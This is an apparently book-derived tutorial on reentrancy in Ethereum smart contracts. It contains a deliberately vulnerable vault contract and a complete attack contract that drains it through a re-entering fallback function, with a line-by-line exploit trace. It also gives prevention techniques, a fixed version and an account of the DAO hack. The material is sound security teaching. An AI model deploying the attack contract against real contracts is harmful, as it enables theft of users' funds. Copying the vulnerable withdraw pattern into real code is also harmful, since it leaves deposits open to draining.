Reentrancy
One of the features of Ethereum smart contracts is their ability to call and utilize code from other external contracts. Contracts also typically handle ether, and as such often send ether to various external user addresses. These operations require the contracts to submit external calls. These external calls can be hijacked by attackers, who can force the contracts to execute further code (through a fallback function), including calls back into themselves. Attacks of this kind were used in the infamous DAO hack.
For further reading on reentrancy attacks, see Gus Guimareas’s blog post on the subject and the Ethereum Smart Contract Best Practices.
The Vulnerability
This type of attack can occur when a contract sends ether to an unknown address. An attacker can carefully construct a contract at an external address that contains malicious code in the fallback function. Thus, when a contract sends ether to this address, it will invoke the malicious code. Typically the malicious code executes a function on the vulnerable contract, performing operations not expected by the developer. The term “reentrancy” comes from the fact that the external malicious contract calls a function on the vulnerable contract and the path of code execution “reenters” it.
To clarify this, consider the simple vulnerable contract in EtherStore.sol, which acts as an Ethereum vault that allows depositors to withdraw only 1 ether per week.
Example 1. EtherStore.sol
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() external payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
This contract has two public functions, depositFunds
and withdrawFunds
. The depositFunds
function simply increments the sender’s balance. The withdrawFunds
function allows the sender to specify the amount of wei to withdraw. This function is intended to succeed only if the requested amount to withdraw is less than 1 ether and a withdrawal has not occurred in the last week.
The vulnerability is in line 17, where the contract sends the user their requested amount of ether. Consider an attacker who has created the contract in Attack.sol.
Example 2. Attack.sol
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// intialize the etherStore variable with the contract address
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function attackEtherStore() external payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
How might the exploit occur? First, the attacker would create the malicious contract (let’s say at the address 0x0…123
) with the EtherStore
’s contract address as the sole constructor parameter. This would initialize and point the public variable etherStore
to the contract to be attacked.
The attacker would then call the attackEtherStore
function, with some amount of ether greater than or equal to 1—let’s assume 1 ether
for the time being. In this example, we will also assume a number of other users have deposited ether into this contract, such that its current balance is 10 ether
. The following will then occur:
Attack.sol, line 15: The
depositFunds
function of theEtherStore
contract will be called with amsg.value
of1 ether
(and a lot of gas). The sender (msg.sender
) will be the malicious contract (0x0…123
). Thus,balances[0x0..123] = 1 ether
.Attack.sol, line 17: The malicious contract will then call the
withdrawFunds
function of theEtherStore
contract with a parameter of1 ether
. This will pass all the requirements (lines 12–16 of theEtherStore
contract) as no previous withdrawals have been made.EtherStore.sol, line 17: The contract will send
1 ether
back to the malicious contract.Attack.sol, line 25: The payment to the malicious contract will then execute the fallback function.
Attack.sol, line 26: The total balance of the EtherStore contract was
10 ether
and is now9 ether
, so this if statement passes.Attack.sol, line 27: The fallback function calls the
EtherStore
withdrawFunds
function again and ‘reenters‘ theEtherStore
contract.EtherStore.sol, line 11: In this second call to
withdrawFunds
, the attacking contract’s balance is still1 ether
as line 18 has not yet been executed. Thus, we still havebalances[0x0..123] = 1 ether
. This is also the case for thelastWithdrawTime
variable. Again, we pass all the requirements.EtherStore.sol, line 17: The attacking contract withdraws another
1 ether
.Steps 4–8 repeat until it is no longer the case that
EtherStore.balance > 1
, as dictated by line 26 in Attack.sol.Attack.sol, line 26: Once there is 1 (or less) ether left in the
EtherStore
contract, thisif
statement will fail. This will then allow lines 18 and 19 of theEtherStore
contract to be executed (for each call to thewithdrawFunds
function).EtherStore.sol, lines 18 and 19: The
balances
andlastWithdrawTime
mappings will be set and the execution will end.
The final result is that the attacker has withdrawn all but 1 ether from the EtherStore
contract in a single transaction.
Preventative Techniques
There are a number of common techniques that help avoid potential reentrancy vulnerabilities in smart contracts. The first is to (whenever possible) use the built-in transfer function when sending ether to external contracts. The transfer function only sends 2300 gas with the external call, which is not enough for the destination address/contract to call another contract (i.e., reenter the sending contract).
The second technique is to ensure that all logic that changes state variables happens before ether is sent out of the contract (or any external call). In the EtherStore
example, lines 18 and 19 of EtherStore.sol should be put before line 17. It is good practice for any code that performs external calls to unknown addresses to be the last operation in a localized function or piece of code execution. This is known as the checks-effects-interactions pattern.
A third technique is to introduce a mutex—that is, to add a state variable that locks the contract during code execution, preventing reentrant calls.
Applying all of these techniques (using all three is unnecessary, but we do it for demonstrative purposes) to EtherStore.sol, gives the reentrancy-free contract:
contract EtherStore {
// initialize the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() external payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
// set the reEntrancy mutex before the external call
reEntrancyMutex = true;
msg.sender.transfer(_weiToWithdraw);
// release the mutex after the external call
reEntrancyMutex = false;
}
}
Real-World Example: The DAO
The DAO (Decentralized Autonomous Organization) attack was one of the major hacks that occurred in the early development of Ethereum. At the time, the contract held over $150 million. Reentrancy played a major role in the attack, which ultimately led to the hard fork that created Ethereum Classic (ETC). For a good analysis of the DAO exploit, see http://bit.ly/2EQaLCI. More information on Ethereum’s fork history, the DAO hack timeline, and the birth of ETC in a hard fork can be found in [ethereum_standards].